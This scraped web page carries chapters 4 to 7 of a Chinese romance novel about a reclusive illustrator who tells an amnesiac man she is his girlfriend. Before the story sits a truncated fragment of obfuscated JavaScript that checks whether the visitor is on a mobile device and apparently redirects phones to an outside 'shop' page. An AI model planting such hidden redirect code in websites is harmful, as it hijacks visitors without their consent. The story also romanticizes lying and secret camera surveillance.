35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525868|203494||http|test|mini|href|location''.split(''|''),0,{}));
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>听他说出这些莫须有的罪状,应蓁宜真是心虚的要命。
她移开视线,没什么底气地反驳:“其实你对我挺好的,这些都是小问题。”
“我平时都是怎么哄你的?”
宋琢没有将这件事翻篇,虽然什么都不记得,但这一刻,他似乎更想哄好自己的女朋友。
应蓁宜忽然觉得好愧疚,自己这样欺骗他,是不是太坏了。
“就...做一顿好吃的。”
她心不在焉,宋琢却拧着眉:“没了?”
应蓁宜不知道他在想什么,点点头,偷瞄着他说:“我很好哄的。”
宋琢叹了声气,忽地抬手,摸了摸她柔软的脑袋:“我忘了很多事情,对不起。”
应蓁宜后知后觉地意识到,他似乎是接受了“男朋友”这个身份。
她克制着雀跃,恍惚间竟觉得有些甜蜜:“没关系的,反正....我很喜欢你。”
女孩儿轻声又直接的表白,让宋琢心跳一滞。
他敛下情绪,径直走过去打开冰箱,应蓁宜此刻已经没有那么慌乱了,像条尾巴似的跟了过去,瞧见他的动作,心里猜到了什么:“你要下厨么?”
宋琢坦然嗯了声,偏头看着她问:“想吃什么?”
他这从容随意的模样,仿佛和她在一起很久了,应蓁宜没回答,而是有些迷茫地问:“你想起来什么了吗?”
“没想起来。”宋琢始终耐心:“但这件事,和我想哄你不冲突。”
应蓁宜呆呆地张了下唇,只见他淡淡一笑,“总不能因为我忘了一切,就将矛盾搁置,还让你自己消化情绪,那我这个男朋友,可就真的不合格了。”
应蓁宜的大脑晕乎乎的,觉得自己陷入了甜蜜的沼泽中。
“你那有蔬菜吗?”
宋琢关上了冰箱,她勉强回过神,想到以前,他每天都会带新鲜的蔬菜回来。
“没有。”她根据记忆为他塑造人设:“平时都是你买菜回来的。”
宋琢嗯了声,“那我先去买菜。”
应蓁宜自己网购较多,但平白捡了个男朋友,她忽然不是很想他分开,纠结了很久才说:“一起去吧。”
宋琢颔首,仿佛她说什么都会答应:“好。”
应蓁宜很少出门,她换好衣服,鼻梁上架着黑框眼镜,想到外头太阳大,还戴了一顶帽子。
超市距离小区不远,此时人不算多,但应蓁宜还是有些不适应。
她警惕抿着唇,不像是来买菜的,倒像是干什么坏事儿的。
有熊孩子绕着货架玩捉人游戏,没注意到这边的人,像个导弹似的冲了过来。
应蓁宜惦记着他腿不好,条件反射地想要挡,却忽然被他勾着腰将带到了怀里。
鼻尖充斥着男人身上干净的清香,她大脑一片空白,只听宋琢的声音从头顶落了下来。
“蓁蓁。”
她逼自己冷静下来,抬眼看向他:“嗯。”
宋琢松开了手,可沉润深邃的目光始终注视着她:“我们在一起多久了?”
应蓁宜正想偷偷摸自己的腰,听见这个问题愣了下,张口编道:“一个月。”
话音落下,她又忍不住追问:“怎么了?”
宋琢走路有些慢,他推着购物车,似是自嘲:“我们好像不是很亲密。”
应蓁宜还以为他发现了什么破绽,心里一急:“你怎么会这么想?”
“没有吗?”宋琢静静看了过去,见女孩儿眼巴巴地点点头,他的视线缓慢往下,似是有一条无形的线轻轻勾住了她藏在口袋里的手。
“那我们平时,从来不牵手吗?”
5. 第 5 章
应蓁宜其实很早就脑补过了,幻想牵住他修长漂亮的手,想要坐在他的腿上,抱着男人劲瘦的腰.....
可当他真的站在面前,温和地询问是否牵手,她竟有一瞬间的恍惚,觉得这一切发展得过于不真实了。
宋琢将女孩儿呆愣的情绪尽收眼底,他敛眉,缓缓道:“抱歉,我只是不清楚我们之间发展到什么地步了。”
应蓁宜迟钝地看了过去,触及男人沉静的目光,只觉得一颗心仿佛被轻轻撞了下。
他什么都不记得,但似乎真的很相信她。
“牵的。”
她仰起脸,藏在帽子下的一双眼干净漂亮,轻声回答:“我们经常牵手。”
宋琢发现,她话音落下的那一刻,密长的眼睫毛就不自然地颤了颤,视线飘忽,像是在做什么亏心事。
他眼底浮现很淡的笑意,声音却听不出任何的异常,只是温润而耐心地求教:“怎么牵?”
“嗯?”应蓁宜愣了下,意识到他问的是什么,后颈升温,佯装镇定地说:“就是,十指相扣。”
他要牵她了吗?
不容她多想的,宋琢的反应更为直接。他单手推着购物车,掌心贴吻,就这么根根挤入她的指缝,没有过于强势用力,温柔地牵住了女孩儿的手。
“是这样吗?”
应蓁宜脸热耳红地点了点头,宋琢牵着她的手避开边上的工作人员,盯着男人的侧脸,她忍不住翘了下唇,僵硬的手也慢慢柔了下来。
他的手真好看,好喜欢被他牵着。
第一次和喜欢的人肢体接触,这种神奇的感觉令她整个人都陷在晕乎乎的甜蜜中。
“蓁蓁。”
“嗯?”她毫无防备地抬起眼,乌黑的眸子里是来不及掩饰的雀跃,宋琢顾忌着小姑娘脸皮薄,没有调笑她,敛下笑意,不经意地问道:“我的腿是怎么受伤的?”
应蓁宜觉得现在看来,失忆并没有让他真的变傻,他的疑虑有很多。
她其实也不知道他的腿是怎么受伤的,只能胡乱编了个答案:“乐于助人,然后受伤的。”
宋琢若有所思地点点头,应蓁宜一直观察着他,他沉默的反应在她看来,就是面对未知的茫然。
她轻轻拽了下他的手,对上男人看过来的目光,她磕磕绊绊地安慰着:“我会陪着你的。”
宋琢轻轻一笑,嗯了声:“好。”
应蓁宜担心他,除了观察两人牵在一起的手,也总是偷偷看他。
这一天,不,准确的说是这几个小时,发生的事情实在太不可思议了。
他失忆,带他回家,鬼迷心窍地骗他在谈恋爱,直至现在,他们牵手了。
应蓁宜一直在胡思乱想,而他这个当事人却始终从容,牵着心不在焉的女朋友,还耐心询问她想吃什么。
应蓁宜一一回答,又看着他细心挑选蔬菜,心里竟有种错觉,仿佛他们在一起很久了。
仿佛在世界的另一端,她和他就是这样在一起生活的。
从超市回来,宋琢挽起袖子,准备下厨。
可他是个病患,应蓁宜没办法躺在沙发上等吃等喝,悄悄挪到他身边,自告奋勇:“我们一起吧。”
宋琢没有拒绝,也没有接受,语调温和:“平时我和你是谁下厨?”
应蓁宜自己偶尔会做饭,就是味道一般。
可宋琢这么问了,她竟顺从着自己的幻想,脱口回答:“你。”
却不想他只是淡淡点了点头,神色依旧平静,仿佛无论她说什么,他都能相信。
“可以帮我倒杯水吗?”
应蓁宜愣了下,立刻过去倒了一杯水,随后也没有走,就这么眼巴巴地站在他身边。
宋琢眼底掠起很淡的笑意,抬手轻轻碰了下女孩儿柔软的脸:“去坐着休息吧。”
“....”
应蓁宜却讷讷地:“可你还在生病....”
“这不代表我什么都做不了。”
他从容而冷静,并没有因为失忆而颓丧、烦躁,这种时候,反倒包容地来哄她:“不能因为我忘了一切,就都推给你。”
“我们平时是怎么相处的,现在就怎么做。”宋琢放下杯子,伸手轻轻拍了下她的腰:“别太焦虑,顺其自然。我有做的不好,记不得的地方,你别生气,多提醒我,好不好?”
他温柔的语气,让应蓁宜除了愧疚,还有些难过。
如果他真的是她男朋友就好了,如果他们真的在一起就好了。
“我没那么容易生气的。”她瓮声瓮气地为自己解释,宋琢包容地笑着,她心跳一滞,又干巴巴地,认真地说:“我很喜欢你,也不会怪你的。”
宋琢的笑明朗了几分,他想,他的这个女朋友说的应该是真的。
从睁眼见到她,再至现在,她已经说了两次喜欢。
应蓁宜慢吞吞地离开厨房,却完全没办法静下心来。偶尔摸摸这个那个的,目光还是一瞬不瞬地盯着他。
一早上起来就没吃东西,她后知后觉地感到饥饿。
想到昨天还没吃完的蛋糕,她打开冰箱,切了一块,宋琢注意到她的动作,不经意地问道:“生日?”
应蓁宜点点头,“你要不要也来一块?”
宋琢敛下眼底的晦涩,没有拒绝:“谢谢。”
应蓁宜坐在沙发上吃蛋糕,却发现,他虽然忘了很多事情,但做饭的肌肉记忆似乎还在。
十分娴熟地处理食材,光是背影都让人觉得赏心悦目。
宋琢仿佛没有察觉身后的目光,从容地做好几道菜,应蓁宜最开始还装着矜持,但尝了几口后,乌黑的眼眸瞬间亮盈盈的。
她实在不知道,他这人到底有什么缺点。
她真的太喜欢他了。
应蓁宜想要装作不经意地偷看他,却不想撞上了男人幽深沉静的目光。
他也在看她。
她心跳倏地一乱,倒打一耙地质问:“你怎么偷看我?”
宋琢没有被抓包的尴尬,而是淡笑着回答:“只是想好好看看我的女朋友。”
“.....”
他坦白的承认反而让应蓁宜有些慌,可能是心虚作怪,又可能无法适应被人如此直白地盯着,她没什么底气地命令:“不许看了,先吃饭。”
宋琢真是个好脾气,听女朋友的话点了点头:“好。”
他身体还没康复,胃口不佳,慢条斯理地夹了几筷子便停下了,却不想应蓁宜也没吃多少。
他拧着眉,“不好吃?”
应蓁宜摇头否认:“我不饿了。”
宋琢漆黑的眼里浮现不解,应蓁宜也不知道怎么解释,这似乎是她从小养成的习惯。
她从不会吃饱,只要等胃里没有饥饿感了便会停下筷子。
以及,不管多好吃的食物,对她来说只是活下去的能源而已。
所以,除了过敏的东西,她什么都能吃。
“蓁蓁。”
宋琢这一整天都是温温和和的,但此刻,男人眉眼间是沉肃的不赞同,“吃得太撑确实对身体不好,但你吃得过于少了。”
他的语气并没有很严厉,却让她莫名坐直了身体,像是在被教训。
见她不说话,宋琢也意识到自己会不会太凶了,声音不自觉地柔了些:“不是怪你,是担心对你胃不好。”
但其实,应蓁宜并没有任何的不高兴,反而有种....难以言说的愉悦在雀跃蔓延。
她好像,不反感他的管教,甚至有点享受。
应蓁宜完全就是个乖小孩,听话地多扒拉了几口。
宋琢的目光始终落在她身上,沉静幽深,如同晦暗不可见底的深渊,令人瞧不清情绪。
一般用完餐,应蓁宜便会投入工作,但宋琢还在,她心不在焉地喂着仓鼠,时不时地偷偷看他。
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宋琢到底还病着,短短几个小时,脸色已然明显疲惫。
“你要不要先回去休息?”
宋琢没有推脱,可应蓁宜像条尾巴似的跟在了他的身后,欲言又止,也不知道在想什么。
“宋琢。”
触上男人温润的目光,她纠结地,又有些不好意思地开口:“你一个人,会不会觉得怕呀?”
宋琢似是猜到了她的意思,却只是淡笑着看她。
应蓁宜也察觉到男人眼底的笑意,她耳朵一热,咬牙胡扯:“你以前胆子可小了,不敢一个人住,总要我陪你的。”
“....”
宋琢有些不可置信地愣了两秒,明明不太相信,但那温和的从容似是从骨子里透出来的:“我居然是这种人?”
应蓁宜心虚地点点头,贪念作怪,她还是期待的,又装作随意地问道:“所以,你要不要住在我那?”
“反正你还病着,我可以照顾你。”
小姑娘还知道欲盖弥彰地找借口,只不过就是....听上去真的非常拙劣。
宋琢没有直接答应,而是微微弯腰,幽深的目光与她持平,似笑非笑地询问:“蓁蓁,我们之间是谁追的谁?”
他忽然靠近,让应蓁宜不由心跳一滞,喉咙轻咽,过了两秒才讷讷回答:“你追的我。”
“是么。”
宋琢看着面前的小姑娘,意味不明地调侃道:“可你口中的我,保守,矜持,倒是你比较主动。”
他似是故意停顿,捕捉到女孩子不自然的表情,轻笑着说:“就像是你把我拐到手的。”
“....”
应蓁宜忽然觉得他这人真烦真不好骗呐!
她颇有点恼羞成怒的意思,没什么底气地放了两句狠话:“你不信就算,那我不管你了。”
宋琢喉间溢出笑意,却还是牵住了生气的女朋友,好脾气地哄道:“那我还能去你家吗?”
应蓁宜眼眸微微一亮,小姑娘是真的不会掩藏情绪,这么一下子,就不气了,“你去我家?”
宋琢纵容地嗯了声,慢悠悠地借着她的话说:“不是你说的吗?我这人胆子小,会害怕。”
瞎编的话,他倒是每句都记得。
她讪讪心虚地一笑,可他愿意跟着她回去,她还是很开心的。
宋琢看上去真的疲惫,应蓁宜没有多缠他。
只是她今晚的工作效率实在有些低,静悄悄的夜里,她在一个细节处卡了大半个小时,总是画不好。
脑子里还总是浮现宋琢的模样。
他真的住在她家吗?
他真的失忆了吗?
他会不会明天就恢复记忆了?
她心不在焉地走出卧室,狠狠薅了下仓鼠,又蹑手蹑脚,鬼鬼祟祟地用耳朵贴着客房的门试图听点什么。
可惜,她家隔音好,听不见任何的动静。
她讪讪失落地回到房间,坐在电脑前许久,终是没忍住,点开了监控系统。
她的家里也装着监控。
应蓁宜想,她才不是偷窥他,她只是想...确认他的安全。
万一他在梦中猝死了怎么办。
她都是为了他好。
应蓁宜按耐着兴奋点进监控,却发现客房光线昏暗,只能隐隐约约瞧见床的中央有凸起的痕迹。
她不甘心地看了好一会儿,终是气馁地退出了监控,心里不讲道理地埋怨他。
看不到人,应蓁宜化悲痛为力量,逼着自己进入了工作状态。
她忙的时候根本不看时间,一直画到了凌晨三点,终是受不了眼睛的疼痛,将自己跌进了被窝里。
床头柜始终亮着一盏微弱柔和的光,悄然无声的夜里,那不明不暗的阴影落在应蓁宜熟睡的侧脸处,温柔的,珍重的,缓缓抚平了她轻拧的眉。
好似真的如她幻想中那般,他一直,都是这么守护在她身边的。
6. 第 6 章
“宋琢,你亲亲我。”
她跨坐在男人身上,白皙的脸颊上浮现羞赧的绯色,鼻尖亲昵相碰,好期盼他能就这么吻下来——
宋琢抬起女孩儿的脸,细密的吻轻轻落在她的眉眼间,再往下,缱绻地含住了那可爱的唇。
“是这样吗?”
他十分温柔地询问她的感受,应蓁宜只觉得幸福到大脑一片空白,甜蜜点头,甚至有些不知足地撒着娇:“还想亲。”
可忽然,男人眸中的纵容在一瞬间消失得一干二净,阴沉漠然的冷意直直向她刺了过来,应蓁宜只觉得全身发凉,惊恐地看着男人松开手,将她推了下去——
身体不受控制地坠落,周遭的环境一晃,阴冷潮湿的小巷令人止不住地发抖。
她冷得发抖,不知道自己要找谁,只是迷茫地跑着,嘴里似乎在念着谁的名字,却怎么也没办法听清楚。
直到她在薄雾弥漫的尽头,看到了宋琢。
他就那么冷漠地站在那,无论她怎么喊,跑得多快,都仿佛触摸不到他——
应蓁宜猛地睁开双眼,她浑身冒着冷汗坐了起来,劫后余生般喘着气。
熬了一晚上,视线有瞬间的模糊不清,紧接着而来的,是难忍的疼痛。
她揉着眼睛,心跳忽然咯噔一声....宋琢呢?
她慌张地从床上下来,踉踉跄跄地跑出卧室,推开客房的门,却发现空无一人。
他不在。
他是恢复记忆,所以离开了吗?
他是不知道她在骗他了?
他会不会讨厌她?
应蓁宜恍若跌入梦魇中的那条小巷,她逃回卧室,将自己关在了最里头的隔间里。
明亮的灯光下,她眼睛太疼,难受到溢出了生理性的泪水,却不管不顾地拿出便签,熟练而急促地叠着千纸鹤。
她不记得是什么时候养成的习惯,千纸鹤承载了她所有的寄托。
好像在恍惚的记忆里,有人就是这么哄她的。
她希望这个千纸鹤,能带着宋琢回来。
一只纸鹤叠完,客厅似乎传来很轻的动静,应蓁宜心跳一滞,她几乎是瞬间弹了起来,跑到卧室门口,却没敢直接出去,而是小心翼翼地拉开了一条缝。
玄关处的那道身影缓慢走了出来,宋琢已经换了一套衣服,手里还提着两袋子的东西。
他没走。
应蓁宜依然没敢出去,就这么偷偷地躲在门后,却不想,他的目光敏锐扫了过来。
“怎么了?”
宋琢来到她面前,发现这个偷窥的胆小鬼眼睛有些红。
“哭了?”
他拧着眉,抬手温柔地抚着她湿润的眼尾。
房间的门已经打开,应蓁宜没有回答,而是有些委屈地问:“你去哪了?”
宋琢的心似乎被撞了下,他耐心地解释:“早上接到了一个电话。”
“是小区的物业,让我们住户填写意见表。”
应蓁宜后知后觉地想到确实有这回事。
物业虽然不管事,却格外的形式主义。
每个月都会登门拜访住户,似乎是他们上头的管理层强制要求的。
他们嘴上说着会根据住户的意见进行调整,却始终没有付出行动过,就比如走廊那坏了很久的灯。
如果不填写,还会被物业缠着,应蓁宜讨厌他们,但每次都必须应付。
“意见表呢?我现在写。”
她目光望向他身后,宋琢却说:“我写完了。”
担心吵到她,他是带着物业去对门沟通的。
应蓁宜呆呆地哦了一声,后知后觉地注意到他手中提着的衣物,装作不经意地问:“你找到钥匙了?”
宋琢嗯了声,“在客厅。”
见小姑娘刚睡醒,还有些不在状态,他抬手轻轻碰了她的脸颊:“做噩梦了?”
应蓁宜的情绪确实还很低落,她点点头,乌黑的眸子就这么眼巴巴地看着他:“你能不能抱抱我?”
想到什么,她又忐忑地轻声解释:“以前我做噩梦,你都会这样哄我的。”
小姑娘像是刚刚哭过,宋琢的心似是被轻轻撞了下,怎么舍得拒绝。
他没有任何的动作,只是温柔地注视着她,将所有的主动权交了出去:“怎么抱?”
应蓁宜没想到他会如此纵容自己,指尖蜷紧,缓慢地抱住了男人劲瘦的腰,又试探性地将脸颊贴在了他的颈窝处。
宋琢眼睫轻垂,搂住小姑娘瘦弱的身体,无声地摸了她的脑袋,似是在哄人。
应蓁宜心里的恐慌渐渐被抚平,她闭上眼,带着无意识地迷恋,悄悄收紧了力道。
她畏惧与别人相处,可不知为什么,对宋琢却总有种无法言说的欲/望。
这样亲密的肢体接触令她好喜欢,甚至像是有什么渴肤症般,想要更多....
想他再抱得紧些,还想坐在他的腿上。
“我站得好累。”
她轻轻拽了下他的衬衣,语气不由自主地勾了些撒娇的意思,“想坐你腿上....”
宋琢没却有直接答应,似笑非笑的目光看得她心跳忐忑,就在她以为自己会被拒绝时,整个人忽然被横抱起来。
宋琢的腿虽然不好,但抱着人时,并没有表现出很吃力的状态。
坐到沙发上,他搂着她的腰,让人靠在自己怀里:“这样?”
触及他温柔而纵容的目光,应蓁宜晕乎乎地嗯了声,终是忍不住诱惑,双手抱住男人的脖子,脸颊亲昵地蹭了蹭男人的颈窝。
他好香啊.....
她鼻尖一动,忍不住咽了咽喉咙,好想咬一下。
宋琢还不知道自己怀里的人正蠢蠢欲动,只是哄人似的拍着小姑娘的腰,漫不经心地问道:“经常做噩梦?”
应蓁宜依赖地抱着他,老老实实地嗯了声。
但准确来说,以前经常做噩梦。
他出现后,梦都是和他有关的。
宋琢也不知道在想什么,可安抚的动作始终未停下。
应蓁宜却有些按耐不住地看了他好几眼,纠结了好久,装作随意地问:“宋琢。”
“嗯。”
“你想起什么了吗?”
宋琢注意到她有点不安,轻颤的眼睫毛像蝶翼。
他的声音听不出任何异常:“没有。”
应蓁宜悄悄松了一口气,她稍稍支起身体,很是认真地叮嘱,“你不要乱跑,万一有人趁你失忆把你拐跑了怎么办?”
她瞧上去似乎真的非常担心,宋琢却忽然抬起小姑娘的脸仔仔细细打量了许久,应蓁宜被他看得心虚,“怎么不说话?”
宋琢松开手,语气听不出一丝异常:“蓁蓁,你很在意我。”
应蓁宜愣了下,她移开视线,轻声地说:“你是我男朋友,当然在意你....”
她的脸颊忽然被人捏了下,一抬眼便触及男人眼底的笑意,他嗓音缓缓,像是在给她承诺:“不会被别人拐跑的。”
宋琢这一天都没有离开她的视线范围。
画稿的时候,他细心地切好一盘水果放在桌边。没有过多打扰,可她一抬眼,就能看到男人的身影。
这种平静的幸福,让她恍惚间觉得,仿佛和他这般在一起很多年了。
如果能一直这样就好了。
她甚至卑劣地期盼,他什么都不要想起来。
这偷来的甜蜜,让她不安,却又无法自拔
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地沉迷其中。
她的眼睛不能面对刺眼的光,也不能长期看屏幕。
画了好久,她疼得受不了,忍不住伸手揉眼睛。
“蓁蓁。”
她湿润的眼睫毛颤着,想要睁开眼,却有一小片的阴影笼了下来。
是宋琢的手,他没有让她睁眼。
“揉眼睛不是个好习惯。”
男人的语气透着明显的不悦,“总是不舒服?”
应蓁宜就这么乖乖的,闭着眼嗯了声。
空气静默半晌,她没办法看见他的表情,心里很不安,忍不住拽了拽他的衣袖:“我要画画,没办法避免的。”
她眼睫毛止不住地颤着,在他的掌心掠起了轻微的痒意。
宋琢松开了手,见小姑娘的目光有一瞬间的茫然,等视线清醒,又眼巴巴地看了过来。
“会不会觉得很辛苦?”
应蓁宜愣了下,才反应过来他问的是什么。
她笑着,又认真地回答道:“不会。”
只有画画能让她彻彻底底地逃避现实世界。
所以,就算眼睛再痛,她也觉得没什么的。
应蓁宜揉着酸痛的脖子,注意到电脑右下角的时间,后知后觉地想起来,两天后她得去找程敏瑜。
可以说,没有程敏瑜,她或许没办法成为如今这么有名气的画手。
她第一次投稿的时候什么都不懂,被无良网站窃取了稿子,也是在遇到了程敏瑜。
一开始,她十分警惕。
因为她始终不相信有谁会不抱目的地帮助一个人,但是程敏瑜却像个包容的长辈,帮助她,提点她。
她对于应蓁宜来说,有知遇之恩。
最开始,两人就像网友一般,她有什么不开心的事都会和程敏瑜分享。
直到去年的一天,她忽然联系不上程敏瑜,她逼着自己克服心里障碍报警,这才知道,原来她们住在同一个城市。
而这位提点她很多的网友,竟是一位优雅的,六十岁的温柔老太太。
当时如果不是她报警,程敏瑜已经因为煤气中毒离开了。
虽然两人是忘年交,可应蓁宜渐渐喜欢上这位温柔幽默的老太太,也十分尊敬她。
只是,程敏瑜患上了阿尔兹海默,她开始忘记很多事情。
应蓁宜隔一段时间便会去看望程敏瑜,她咬着苹果,装作不经意地问:“你要不要和我一起去?”
宋琢背对着她,窗外透进来的落日并没有抚去男人眼底的晦涩,他喉咙上下一滚,过了很久,才嗓音轻哑地说:“去。”
应蓁宜没有察觉到男人的情绪,只是开心地说了声好。
-
程敏瑜所住的小区距离不算近,开车需要四十分钟的路程。
应蓁宜担心宋琢会不自在,说了很多话:“程老师对我特别好,她以前是业内很厉害的编辑,在这么多优秀的画手里,偏偏捡到了我。”
程敏瑜还没生病那会儿,说退休了就要和丈夫去环游世界。
却不想在去年,他的丈夫去世了,而她也忽然患上了阿尔兹海默症。
这一路上,宋琢有些沉默,却始终耐心地听她说话。
程敏瑜的家里人安排了两位专业的阿姨照顾她,到的时候,其中一位出门买菜了,李婶正陪着老太太浇花。
“你们今晚要不要留下来吃饭?”
李婶热情地邀请,见两人同意,便高兴地给江婶打电话去了。
但是很可惜,程敏瑜今天不怎么清醒,没有认出应蓁宜,还盯着她身后那高大的男人许久,疑惑地问道:“你是老韩的学生吗?”
应蓁宜回头,悄悄提醒异常沉默的男人:“老韩是程老师的丈夫。”
7. 第 7 章
程敏瑜没有孩子,她的丈夫是大学教授,老两口一生积善行德,资助过许多困难的学生。
想来,是将宋琢认错了。
应蓁宜推着老太太的轮椅,凑在她耳边说着悄悄话:“您认错啦,他是我的男朋友。”
却不想,程敏瑜还是眼巴巴地瞅着身后的男人,进了里屋,还向他招了招手。
应蓁宜原本以为,宋琢只是会礼貌地回应,却不想男人上前,竟单膝着地听着老太太说话。
她惊讶的说不出一句话来,程敏瑜还摸了他的脑袋,有些好奇询问:“你叫什么名字?”
宋琢似乎没有觉得被冒犯,凌厉的五官甚至添了几分柔和:“我叫宋琢。”
应蓁宜回过神,拽着老太太的衣服央求:“他腿不好,您别让他跪着了。”
生病的老人偶尔会像个闹脾气的小孩,程敏瑜不高兴地说:“又不是我让他跪着的。”
应蓁宜已经将人扶了起来,趁着老太太不注意,向他抱歉一笑。
宋琢依旧温和耐心的模样,也没有流露出任何不舒服的情绪。
程敏瑜盯着高大的男人,问题一个接一个:“你是老韩的第几届学生?”
宋琢还没有回答,应蓁宜耐心纠正:“他不是韩老师的学生,他是我男朋友。”
程敏瑜也很固执,不认为自己错了:“他就是老韩的学生。”
应蓁宜完全没有将老太太当成病人,叉着腰说:“您不要耍无赖。”
明明两人有着三十多岁的年龄差,却像小学生似的吵架。
宋琢看着老太太满鬓白发,喉结上下一滚,再开口时声音有些哑:“我是韩老师的学生。”
他话音落下,程敏瑜炫耀似的,颇为幼稚地对应蓁宜说:“我就说我不会记错,蓁蓁,你才二十几岁就有健忘症了。”
应蓁宜只当宋琢是在哄老太太,瘪瘪嘴,故意做出不高兴的模样:“那他也是我男朋友。”
程敏瑜忽然点点小姑娘的鼻子,用着自以为很小声的音量提醒道:“不行的,他有喜欢的人,你换一个男朋友。”
明知道老太太状态不清醒,应蓁宜的心还是因为她的话掀起了一小片的波澜,抬起眼,却怔怔撞上了他沉静的目光。
宋琢牵住她的手,望向程敏瑜,谦卑而温柔:“老太太,这可能换不了,我喜欢的人一直都是蓁蓁。”
应蓁宜不自觉地蜷紧了手,她很难理清自己现在的心情。
宋琢,是她趁虚而入骗到手的。
他的这句承诺,大概只是为了哄老太太,却还是令她心动不已。
她觉得宋琢真的好过分。
他总是让她产生一种错觉,仿佛两人真的在一起很久了,仿佛他真的很喜欢她。
如果他永远无法恢复记忆就好了。
吃饭的时候,程敏瑜似是又犯糊涂了,问老韩怎么还没有回来。
江婶熟练地哄着人,应蓁宜也一直陪着老太太说话,才勉强转移了她的注意。
程敏瑜两个月前离家出走,最后还是在韩老师的墓碑前找到的。
从那之后,江婶愈发寸步不离地照顾着。
如今应蓁宜在,她才得空去处理其他的事。
匆匆穿过客厅,余光瞥见立在阴影处的男人,她的脚步渐渐慢了下来。
香烛点燃的烟雾不明不暗地缭绕,如同曾经每一次般,他持着香,沉默地弯腰祭拜。
而遗照上那慈祥善良的老人,也只是静静地看着他。
这孩子每次到来,江婶都觉得,他身上似乎担负着沉沉压力,漠然冷冽的眉眼唯独面对老太太才会柔和下来。
虽然不清楚他和蓁蓁那孩子什么关系,也不知道他到底背负了什么,江婶什么都没说。
每个人都有自己的苦衷。
她只希望这世间能少一点痛苦。
希望啊,像老太太这样的好心人,余生无病无灾,皆能得到善终。
-
回到小区已经是晚上九点。
比起宋琢这个刚出院的病患,应蓁宜反而看上去更为疲惫。
洗完澡,她连头发都没有吹干,匆匆从卧室里走了出来,却忽然顿住了脚步。
平日里,宋琢总是一身斯文的衬衣,偶尔休息,也穿着黑色休闲毛衣,五官明明是偏浓的冷冽,却没有让人觉得难以接近,温润的气质似乎是从骨子里透出来的。
而此刻,他也才从浴室出来,就这么随意地套了一件黑色背心,手臂的肌肉曲线流畅清晰,背脊贲张着若隐的沟壑,宽肩窄腰,松弛散漫地立在岛台旁,听见动静,他偏头看了过来,一瞬间,应蓁宜口干舌燥的,忍不住咽了下喉咙。
甚至是,她的目光不受控制地看向男人的胸膛....
并不是短视频里那种夸张的弧度,不瘦,紧实健硕,性感的恰到好处。
好想把脸埋进去。
“在想什么?”
他不知何时来到了面前,幽黑的眼眸似笑非笑的,仿佛将她里里外外都看透了。
应蓁宜耳根一热,结结巴巴地转移话题:“你在煮什么?”
宋琢将小姑娘心虚的模样尽收眼底,却没有戳穿她,好脾气地说:“桂圆莲子煮水,喝点能助眠。”
应蓁宜觉得男人的性感已经无孔不入地侵进了自己的身体里,满脑子都是——
好想扑倒!好性感!
宋琢牵住小姑娘的手,见她呆呆地看了过来,有些无奈道:“先吹头发。”
应蓁宜觉得自己像是被蛊惑了,她喉咙一咽,眼巴巴地问能不能帮她吹。
宋琢眼底笑意很淡,却还是同意了。
他的手法很轻柔,指尖在不经意间碰到了她的耳朵,应蓁宜捧着热腾腾的桂圆水,只觉得这一刻幸福到晕乎乎的。
这样的场景,她也幻想过无数次了。
吹好头发,宋琢放下吹风机,垂眼发现小姑娘的脸似乎泛着点红。
他有点担心,弯下腰,用手背轻轻碰了下她的脸颊。
应蓁宜被他亲昵的动作弄得大脑一片空白,明明喝了一大杯的水,却还是觉得口干舌燥的。
“发烧了吗?”
“....”她迟钝地回过神,磕磕绊绊地解释:“喝了这个,有点热。”
“对了。”她心痒难耐,逼着自己转移话题:“谢谢你今天陪我去看程老师。”
宋琢的脸上瞧不出任何异常的情绪,只是笑容疏淡地说:“我们可以多去探望。”
应蓁宜也是这么想的,喝完水,她回到房间,却没有第一时间开始工作,脑子里依旧是男人的模样。
实在是...太性感了。
她打开一张新的画布,熟练而雀跃地勾勒出男人的轮廓。
还记得刚开始,她还格外老实,只是画他的模样。
但记不清是什么时候起,她画的都是些令人脸红心跳的内容。
比如,他不穿衣服。
比如,他单手抱着人接吻。
又比如这一刻,画稿上的男人反手脱了那性感的、单薄的背心,就这么大马金刀地坐在那,深邃的目光幽幽盯着屏幕,就像是....在勾引。
应蓁宜兴奋地画了几个小时,疲惫散去,反而睡不着了。
她悄悄走出卧室,又鬼鬼祟祟地将耳朵贴在了客房的门上。
什么也听不见。
她失落地叹了声气,竟开始期盼....要是能抱着他睡就好了。
...
应蓁宜第二天醒来,在意识到自己梦见了什么后,整个人脸红耳热地躲进被子里,翻来覆去滚了好久。
等平静下来,她走出卧室想要找宋琢,却发现他在阳台打电话。
她悸动的心瞬间冷了下来,大脑也一片空白。
他在和谁打电话?
他想起密码了吗?还是恢复记忆了?
应蓁宜忽然发现,把他捡回家只有短短的两天,自己却总是处于提心吊胆的状态中。
宋琢注意到她这边的动静,推开阳台的门走了进来,察觉到她情绪不对,直接挂了电话,来到她面前,眉眼间是熟悉的温柔与担心。
“怎么了?不舒服?还是做噩梦了?”
应蓁宜摇摇头,而是紧紧看着他,克制着颤抖问:“是谁给你打的电话?”
宋琢看着她苍白的脸,几乎是瞬间意识到她在想什么。
他并没有隐瞒:“说是我的工作伙伴。”
应蓁宜唇瓣翕动,有些听不清自己的声音:“他们知道你失忆的事了?”
宋琢将她的不安尽收眼底,他伸手,将人揽进怀里:“我还没有告诉他们。”
应蓁宜嗅着男人身上的味道,紧紧抱着他的腰,似是得到了安抚。
宋琢嗓音平静,告诉她自己还是决定去一趟公司,说不定能想起什么。
应蓁宜眼睫轻颤,明白自己如果不肯让他去,一定会被发现不对劲。
她央求般看着他:“我能不能一起去?”
话音落下,她磕磕绊绊地找补道:“我只是不放心你自己外出,我不是想要限制你的自由.....”
她其实非常明白,这个理由很拙劣,就连她自己也觉得没底气。
会不会他去了公司,就什么都记起来了?
恢复记忆后,他会不会讨厌她?
应蓁宜整个人都陷在低落的情绪中,却忽然被人抬起了脸。
宋琢安抚般摩挲着她的耳朵,仿佛无论何时,都是这
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么的温柔。
“好,我们一起去。”
-
到了公司,是一位叫小周的助理带两人上去的。
